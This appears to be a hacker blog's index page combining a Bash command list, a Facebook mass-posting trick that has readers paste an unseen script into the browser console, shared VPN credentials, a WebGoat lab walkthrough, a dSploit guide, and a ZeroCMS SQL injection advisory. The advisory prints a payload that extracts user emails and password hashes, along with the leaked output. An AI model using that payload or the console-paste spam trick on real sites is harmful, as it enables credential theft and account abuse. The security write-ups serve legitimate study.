Index of the Bash command line for Linux.

  alias    Create an alias •
  apropos  Search Help manual pages (man -k)
  apt-get  Search for and install software packages (Debian/Ubuntu)
  aptitude Search for and install software packages (Debian/Ubuntu)
  aspell   Spell Checker
  awk      Find and Replace text, database sort/validate/index
b
  basename Strip directory and suffix from filenames
  bash     GNU Bourne-Again SHell 
  bc       Arbitrary precision calculator language 
  bg       Send to background
  break    Exit from a loop •
  builtin  Run a shell builtin
  bzip2    Compress or decompress named file(s)
c
  cal      Display a calendar
  case     Conditionally perform a command
  cat      Concatenate and print (display) the content of files
  cd       Change Directory
  cfdisk   Partition table manipulator for Linux
  chgrp    Change group ownership
  chmod    Change access permissions
  chown    Change file owner and group
  chroot   Run a command with a different root directory
  chkconfig System services (runlevel)
  cksum    Print CRC checksum and byte counts
  clear    Clear terminal screen
  cmp      Compare two files
  comm     Compare two sorted files line by line
  command  Run a command - ignoring shell functions •
  continue Resume the next iteration of a loop •
  cp       Copy one or more files to another location
  cron     Daemon to execute scheduled commands
  crontab  Schedule a command to run at a later time
  csplit   Split a file into context-determined pieces
  cut      Divide a file into several parts
d
  date     Display or change the date & time
  dc       Desk Calculator
  dd       Convert and copy a file, write disk headers, boot records
  ddrescue Data recovery tool
  declare  Declare variables and give them attributes •
  df       Display free disk space
  diff     Display the differences between two files
  diff3    Show differences among three files
  dig      DNS lookup
  dir      Briefly list directory contents
  dircolors Colour setup for `ls'
  dirname  Convert a full pathname to just a path
  dirs     Display list of remembered directories
  dmesg    Print kernel & driver messages 
  du       Estimate file space usage
e
  echo     Display message on screen •
  egrep    Search file(s) for lines that match an extended expression
  eject    Eject removable media
  enable   Enable and disable builtin shell commands •
  env      Environment variables
  ethtool  Ethernet card settings
  eval     Evaluate several commands/arguments
  exec     Execute a command
  exit     Exit the shell
  expect   Automate arbitrary applications accessed over a terminal
  expand   Convert tabs to spaces
  export   Set an environment variable
  expr     Evaluate expressions
f
  false    Do nothing, unsuccessfully
  fdformat Low-level format a floppy disk
  fdisk    Partition table manipulator for Linux
  fg       Send job to foreground 
  fgrep    Search file(s) for lines that match a fixed string
  file     Determine file type
  find     Search for files that meet a desired criteria
  fmt      Reformat paragraph text
  fold     Wrap text to fit a specified width.
  for      Expand words, and execute commands
  format   Format disks or tapes
  free     Display memory usage
  fsck     File system consistency check and repair
  ftp      File Transfer Protocol
  function Define Function Macros
  fuser    Identify/kill the process that is accessing a file
g
  gawk     Find and Replace text within file(s)
  getopts  Parse positional parameters
  grep     Search file(s) for lines that match a given pattern
  groupadd Add a user security group
  groupdel Delete a group
  groupmod Modify a group
  groups   Print group names a user is in
  gzip     Compress or decompress named file(s)
h
  hash     Remember the full pathname of a name argument
  head     Output the first part of file(s)
  help     Display help for a built-in command •
  history  Command History
  hostname Print or set system name
i
  iconv    Convert the character set of a file
  id       Print user and group id's
  if       Conditionally perform a command
  ifconfig Configure a network interface
  ifdown   Stop a network interface 
  ifup     Start a network interface up
  import   Capture an X server screen and save the image to file
  install  Copy files and set attributes
j
  jobs     List active jobs •
  join     Join lines on a common field
k
  kill     Stop a process from running
  killall  Kill processes by name
l
  less     Display output one screen at a time
  let      Perform arithmetic on shell variables •
  link     Create a link to a file 
  ln       Create a symbolic link to a file
  local    Create variables •
  locate   Find files
  logname  Print current login name
  logout   Exit a login shell •
  look     Display lines beginning with a given string
  lpc      Line printer control program
  lpr      Off line print
  lprint   Print a file
  lprintd  Abort a print job
  lprintq  List the print queue
  lprm     Remove jobs from the print queue
  ls       List information about file(s)
  lsof     List open files
m
  make     Recompile a group of programs
  man      Help manual
  mkdir    Create new folder(s)
  mkfifo   Make FIFOs (named pipes)
  mkisofs  Create an hybrid ISO9660/JOLIET/HFS filesystem
  mknod    Make block or character special files
  more     Display output one screen at a time
  mount    Mount a file system
  mtools   Manipulate MS-DOS files
  mtr      Network diagnostics (traceroute/ping)
  mv       Move or rename files or directories
  mmv      Mass Move and rename (files)
n
  netstat  Networking information
  nice     Set the priority of a command or job
  nl       Number lines and write files
  nohup    Run a command immune to hangups
  notify-send  Send desktop notifications
  nslookup Query Internet name servers interactively
o
  open     Open a file in its default application
  op       Operator access 
p
  passwd   Modify a user password
  paste    Merge lines of files
  pathchk  Check file name portability
  ping     Test a network connection
  pkill    Stop processes from running
  popd     Restore the previous value of the current directory
  pr       Prepare files for printing
  printcap Printer capability database
  printenv Print environment variables
  printf   Format and print data •
  ps       Process status
  pushd    Save and then change the current directory
  pv       Monitor the progress of data through a pipe 
  pwd      Print Working Directory
q
  quota    Display disk usage and limits
  quotacheck Scan a file system for disk usage
  quotactl Set disk quotas
r
  ram      ram disk device
  rcp      Copy files between two machines
  read     Read a line from standard input •
  readarray Read from stdin into an array variable •
  readonly Mark variables/functions as readonly
  reboot   Reboot the system
  rename   Rename files
  renice   Alter priority of running processes 
  remsync  Synchronize remote files via email
  return   Exit a shell function
  rev      Reverse lines of a file
  rm       Remove files
  rmdir    Remove folder(s)
  rsync    Remote file copy (Synchronize file trees)
s
  screen   Multiplex terminal, run remote shells via ssh
  scp      Secure copy (remote file copy)
  sdiff    Merge two files interactively
  sed      Stream Editor
  select   Accept keyboard input
  seq      Print numeric sequences
  set      Manipulate shell variables and functions
  sftp     Secure File Transfer Program
  shift    Shift positional parameters
  shopt    Shell Options
  shutdown Shutdown or restart linux
  sleep    Delay for a specified time
  slocate  Find files
  sort     Sort text files
  source   Run commands from a file '.'
  split    Split a file into fixed-size pieces
  ssh      Secure Shell client (remote login program)
  strace   Trace system calls and signals
  su       Substitute user identity
  sudo     Execute a command as another user
  sum      Print a checksum for a file
  suspend  Suspend execution of this shell •
  sync     Synchronize data on disk with memory
t
  tail     Output the last part of file
  tar      Store, list or extract files in an archive
  tee      Redirect output to multiple files
  test     Evaluate a conditional expression
  time     Measure Program running time
  timeout  Run a command with a time limit
  times    User and system times
  touch    Change file timestamps
  top      List processes running on the system
  traceroute Trace Route to Host
  trap     Run a command when a signal is set(bourne)
  tr       Translate, squeeze, and/or delete characters
  true     Do nothing, successfully
  tsort    Topological sort
  tty      Print filename of terminal on stdin
  type     Describe a command •
u
  ulimit   Limit user resources •
  umask    Users file creation mask
  umount   Unmount a device
  unalias  Remove an alias •
  uname    Print system information
  unexpand Convert spaces to tabs
  uniq     Uniquify files
  units    Convert units from one scale to another
  unset    Remove variable or function names
  unshar   Unpack shell archive scripts
  until    Execute commands (until error)
  uptime   Show uptime
  useradd  Create new user account
  userdel  Delete a user account
  usermod  Modify user account
  users    List users currently logged in
  uuencode Encode a binary file 
  uudecode Decode a file created by uuencode
v
  v        Verbosely list directory contents (`ls -l -b')
  vdir     Verbosely list directory contents (`ls -l -b')
  vi       Text Editor
  vmstat   Report virtual memory statistics
w
  wait     Wait for a process to complete •
  watch    Execute/display a program periodically
  wc       Print byte, word, and line counts
  whereis  Search the user's $path, man pages and source files for a program
  which    Search the user's $path for a program file
  while    Execute commands
  who      Print all usernames currently logged in
  whoami   Print the current user id and name (`id -un')
  wget     Retrieve web pages or files via HTTP, HTTPS or FTP
  write    Send a message to another user 
x
  xargs    Execute utility, passing constructed argument list(s)
  xdg-open Open a file or URL in the user's preferred application.
  yes      Print a string until interrupted
  zip      Package and compress (archive) files.
  .        Run a command script in the current shell
  !!       Run the last command again
  ###      Comment / Remark

Read more ...

Auto Post In All Groups [ Facebook ]

Hello friends, If you wanna more friends, like and comment for your status update or if you wanna hug traffic for your blog/website then its good news for you. By this simple tutorial, we will show that how you can post to all facebook groups in a single click. There many fb groups on this social site, If you share one by one its take minimum 2 minutes for post in a a group, So if you have for example 15 groups its 30 minutes for this and using this tricks you can do in less than 1 minute.

Follow Simple Steps:

• Login to your Facebook account
• Go to your fb home page or Click here
• Open the Console Box in Google Chrome or Morzila Firefox

1. Google Chrome user press F12 or Ctrl+Shift+J to open Console Box
2. Mozilla Firefox uers Press Ctrl+Shift+K to open Console Box.

• Now Click Here Open The Script or Click Here to Download the Script
• Press Ctrl+A to select all then Ctrl+C to copy. Finally press Ctrl+V to paste into console box & Hit Enter

Write/make your post in the box appears and press the POST button.

Your Done, You Have Successfuly Posted Into All Groups. Any Problem/Help/Suggestion Feel Free To Contact Us!
Hope You Are Enjoying Our Article, Must Give Your Feedback

Read more ...

Free VPN • 100% Free PPTP and OpenVPN Service

Vpnbook

Free Open Vpn And PPTP
Surf Anonymously
100% Free Vpn Service

PPTP VPn :

• Free PPTP VPN Account (Easy to setup, no need to download any software, works with all Windows, Mobile and PS3 Devices)
  • Server #1: euro195.vpnbook.com
  • Server #2: euro213.vpnbook.com
  • Server #3: uk180.vpnbook.com (UK VPN - optimized for fast web surfing; no p2p downloading)
  • Server #4: us1.vpnbook.com (US VPN - optimized for fast web surfing; no p2p downloading)
  • Server #5: us2.vpnbook.com (US VPN - optimized for fast web surfing; no p2p downloading)
  • Username: vpnbook
  • Password: spa5urEp
  • More servers coming...

OpenVPn :

• Free OpenVPN Account (Requires Download of the free opensource OpenVPN Client, OpenVPN offers the best anonymity and is impossible to block by your government, school or Internet Service Provider.) - You should try all the profiles and see which provides the fastest and most stable speeds.
  • Server #1: Download Euro1 Server OpenVPN Certificate Bundle
  • Server #2: Download Euro2 Server OpenVPN Certificate Bundle
  • Server #3: Download UK Server OpenVPN Certificate Bundle (UK VPN - web surfing only; no p2p)
  • Server #4: Download US1 Server OpenVPN Certificate Bundle (US VPN - web surfing only; no p2p)
  • Server #5: Download US2 Server OpenVPN Certificate Bundle (US VPN - web surfing only; no p2p)
  • All bundles include UDP53, UDP 25000, TCP 80, TCP 443 profile
  • Username: vpnbook
  • Password: spa5urEp

Read more ...

How Hackers Hack Any Account Using Authenticaion Flaw - 2nd Part

                         Hello, folks! after a short break i'm back with an interesting post, How Hackers Hack any account using Authentication Flaws - 2. You might had read my previous 1st part on Authentication Flaws, it is amazing article for beginners who wants to learn basic about Authentication Flaws. So today we'll learn second method of Authentication, well there are many methods lets explore this Basic one.

Requirements :

• OWASP-BWA Pentest lab or WebGoat
• Strongly recommend you to read my previous article
• Burp Suite
• Brain, Understanding and Little knowledge of Web Architecture

Short Description and Explanation : I'd already gave all explanation of Authentication flaws in previous post, today we'll learn another method of Authentication Flaw. As from the beginning i m telling finding authentication flaw in website is little harder, researcher or hacker need to understand how web application, server, and other protocols are communicating with each others, Always remember that HTTP is stateless protocol it is like artificial intelligence it works same as developer programmed it. If you've good knowledge of Web technology, Application, Programming and hacking so you can understand how it is working & then you'll be able to find it's vulnerable point & Exploit it.


Multi Level Login Authentication Flaw Exploitation :

• Start WebGoat Click on Authentication Flaws > Multi-Level Login 2
  
  Click on Image to Enlarge it
  
  
  
• You can see that red highlighted text : It is explanation of this flaw read it properly it is important, and Go on next step.

So, assume that you're an attacker and you've an active account on WebGoat website with the username : Joe and Password : banana but your main target is to get into Jane's account without her knowledge, so you've to find that flaw and exploit it to get into her account. So let's do it. First of all lets understand how the server authenticating users and allowing them to access private information, Remember Tokens : (#TAN) is mostly in all websites but in different methods and logic.

• Start Burp Suite : Setup Proxy connection between client (Browser) and server so you can easily intersect any request sent from client.
  
• Back to WebGoat : Type Username and password and Hit Submit.
  
  
  
  
• Analyze every request and response from Client and Server, and look for something that looks little suspicious. (Just for your knowledge)
  
  Click on Image to Enlarge it
  

  (Intercepting Client's request in Burp)
  
• There you can clearly see application is using Post based form and by analyzing that we didn't got anything pretty interesting because its simple Post Based Form, i thought may be it is vulnerable to SQL injection but it's Authentication Flaw tutorial. Lets Look at server response message.
  
  Click on Image to Enlarge it
  
  
  
• Same here nothing pretty interesting, it just leaked server information which is really very useful and juicy information for hackers to find more vulnerabilities components in Web Server. This is also called Fingerprinting victim OS.
  
• Go back to browser and you'll see it is asking for Token (TAN). It says enter TAN #1 so here TAN 1 is 15161, lets do this also and analyze the application working method to get vulnerable point.
  
  
  
  
• Let's look at request we intercepted into Burp Suite and here is only vulnerable point, please guys try to understand little from yourself also - don't only depend upon tutorial. Try to understand how it is validating and how server knows which user has to be logged in.
  
  Click on Image to enlarge it
  
  
  
• Go Back to browser and see it allowed you to access your private information such as credit card info and number.
  
  Click on Image to enlarge it
  
• Wow! now the question is how Server got to know i should allow this client to access Joe information, once again look back into second request you intercepted into Burp Suite. (That TAN Request)
  
  Click on Image to enlarge it
  
  
  
• Cool, please check above image properly and read that 3 lines properly to understand The Vulnerable point of this application.
  
• Now the question is : How does Server knows which user has to be logged in ? .. Come-on lets change username value from Joe to Jane in TAN request. Again you've to go back to Multi-Level login and login with Joe Username and password, when it comes to TAN - enter TAN and capture request in Burp Suite and Change username Joe to Jane (You can also use Burp Suite Repeater to repeat same request) and Server will get confused with this request and you'll easily allowed to access Jane confidential data and information.
  
  Click on Image to enlarge it
  
  
  
• Send that request and check response in Web Browser, you'll be in Jane's account without any password or Social engineering you hacked Jane's account, this is called Multi-Level login Authentication Flaw.
  
  
  
  

Every Web Application works in their own logic and method just you need to understand that how Web Application and Server is validating the user and allowing them to access private information. Here developers left great flaw in Validating users, if they'd used password over TAN verification also then there would no authentication flaw because we don't know Jane's password, but mostly web developers don't connect their database to every application in fear of SQL Injection or any other Attack.

If still you're not able to understand this Tutorial you can watch out Video Tutorial with simple explanation

Click on below image to watch it on Youtube

Thank you for reading my post, if you've got any doubt please free to comment and let me know your problem. If you liked it please share it and increase us. - 

#Copied

Read more ...

ZeroCMS v1.0 SQL Injection Vulnerability

ZeroCMS v1.0 SQL Injection Vulnerability (zero_transact_article.php article_id POST parameter)

Vendor: Another Awesome Stuff
Product web page: http://www.aas9.in/zerocms
Affected version: 1.0
Severity: High
CWE: 89 - http://cwe.mitre.org/data/definitions/89.html
CVE: CVE-2014-4194
Date: 20/06/2014

Discovered by: Filippos Mastrogiannis (@filipposmastro)

--------------------------------------------------------

ZeroCMS is a very simple Content Management System Built using PHP and MySQL.

Description: ZeroCMS v1.0 is vulnerable to SQL Injection.

The user input which is passed via the "article_id" POST parameter of "zero_transact_article.php"
is not properly sanitised allowing the attacker to inject arbitrary sql code and to
execute queries to the database in order to extract sensitive information (e.g. credentials) and/or
to take over the database/system.

Proof Of Concept:

A part of the sqlmap output:

POST parameter 'article_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 261 HTTP(s) requests:
---
Place: POST
Parameter: article_id
..
...
....
---
[XX:XX:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0
[XX:XX:XX] [INFO] fetching current database
current database:    'zero'
..
...
....
--------------------------------------------------------

Proof Of Concept:

Request:

POST /zerocms/zero_transact_article.php HTTP/1.1
Cache-Control: no-cache
Referer: http://[Removed]/zerocms/zero_comment.php?article_id=9
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
Accept-Language: en-us,en;q=0.5
Host: [Removed]
Cookie: PHPSESSID=[Removed]
Accept-Encoding: gzip, deflate
Content-Length: 53
Content-Type: application/x-www-form-urlencoded

action=Submit+Comment&article_id='&comment_text=3

Response:

HTTP/1.1 200 OK
Date: [Removed]
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Expires: [Removed]
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 226
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', 3, "2014-XX-XX XX:XX:XX", ' at line 4

--------------------------------------------------------

Exploitation:

For example if we want to extract: user_id, email, password from the database use the following payload in the article_id parameter of the POST request:

action=Submit+Comment&article_id=5+and+(select 1 FROM(select count(*),concat((select+concat(email,0x3a,user_id,0x3a,password,0x3a) FROM zero_users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)&comment_text=3

(The database name in our setup is: zero & the session is from an authenticated user)

If we look at the response we can see the extracted data:

Duplicate entry 'admin@domain.com:1:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:1' for key 'group_key

'Source=Internet :D

Read more ...

Pentesting with Android using dSploit

Security has always been a concern. The
only truly secure system is the one that is
stored in a lead-lined, locked bunker 100
feet underground. And turned off.
Otherwise, you will be open to the
potential of abuse. And with the ubiquity
of wireless networks, these prove to be a
very tempting and rather large target for
the bad guys. If you maintain a wireless
network, then you need to be sure that it
won’t be abused. One of the better ways
to secure your systems is to try to break
them through penetration testing.
The usual way in which this is done is by
using either a desktop machine or laptop
connected to the network. This means that
you are tied down to a desk. But
sometimes, being able to rove around is
helpful. To this end, having an Android
tablet or smartphone handy will let you
test any wireless network that you have
access to. If your Android device is
rooted, you can install an app called
dSploit. This app will give you all of the
tools you will need to do a thorough test
of your system defences.
Step by Step
Step 01
Downloading
The first step is to get a copy of dSploit
onto your Android device. You should be
able to download a copy directly from
whatever browser you use on your device.
If you have a USB port on your device,
you can download it on your desktop and
transfer it with a USB drive.
Step 02
Permissions
You will need to do things in terms of
permissions on your device. The first
requirement is that it needs to be rooted.
This gives dSploit root access to your
wireless interface so that you can put it in
promiscuous mode. The second is that you
need to allow sideloading of apps, since
dSploit is not on the Play Store.
Step 03
Copying and installation
Once you have the APK copied, or
downloaded, you will need to install it.
The easiest way is to use a file manager of
some kind, navigate to where the file
exists, and select it. The file manager
should start up the installer.
Step 04
Starting
When you start up dSploit, it will
immediately start listening on the wireless
network you’re connected to. Depending
on the hardware available, this may affect
the responsiveness of your device. You
can tap on the menu and then on “Stop
Network Monitor”.
Step 05
Wi-Fi cracking
You can tap on the Wi-Fi signal icon to see
which networks are visible. You can click
on a network to connect. If it is a
‘secured’ network that is vulnerable to one
of the cracking techniques available, it will
be flagged as green, identifying it as such.
Clicking on that network offers you the
options of either connecting or cracking.
Step 06
Trace
One thing you may want to check on is
how packets are being routed within your
own network. Clicking on a target machine
will bring up a menu of applicable tools.
You can click on the Trace tool to follow
how packets move around within the
network.
Step 07
Port scanning
The first step when a ‘bad guy’ tries to
compromise your system is to knock on
your virtual door with a port scan. In
dSploit, you can do this by tapping on the
Port Scanner tool after selecting a host to
test.
Step 08
More port scanning
Once you get the list of open ports, you
can click on them to try to connect. If it
is a port used for web traffic, it will try to
open it in a browser. Otherwise, it will try
to open a connection using Telnet.
Step 09
Inspector module
The Inspector module does some further
probing to get an idea what operating
system is running on the host, along with
what kind of services are running on the
open ports. This may take several minutes
to complete, so be patient. In this
example, we can see that the author’s TV
box is running Linux.
Step 10
Vulnerability Finder
Now that you know what the OS is, and
which ports are open to connections, you
need to check to see what problems may
be affecting this particular system. Again,
these checks can take several minutes, so
be patient. The total list is ordered
according to severity.
Step 11
More vulnerabilities
The original list provides a short
description of the vulnerability, but often
this is not enough. Clicking on the
vulnerability of interest will open the
associated webpage from the National
Vulnerability Database, hosted by the NIST
(nvd.nist.gov). Here you can get more
information on just how serious it may
really

Read more ...

Hello World!

Hello guyz

i m #unkn0wn_hax0r

n this is my first post on my blog

so keep visiting this blog

i hope u will enjoy my post

My Forum

Read more ...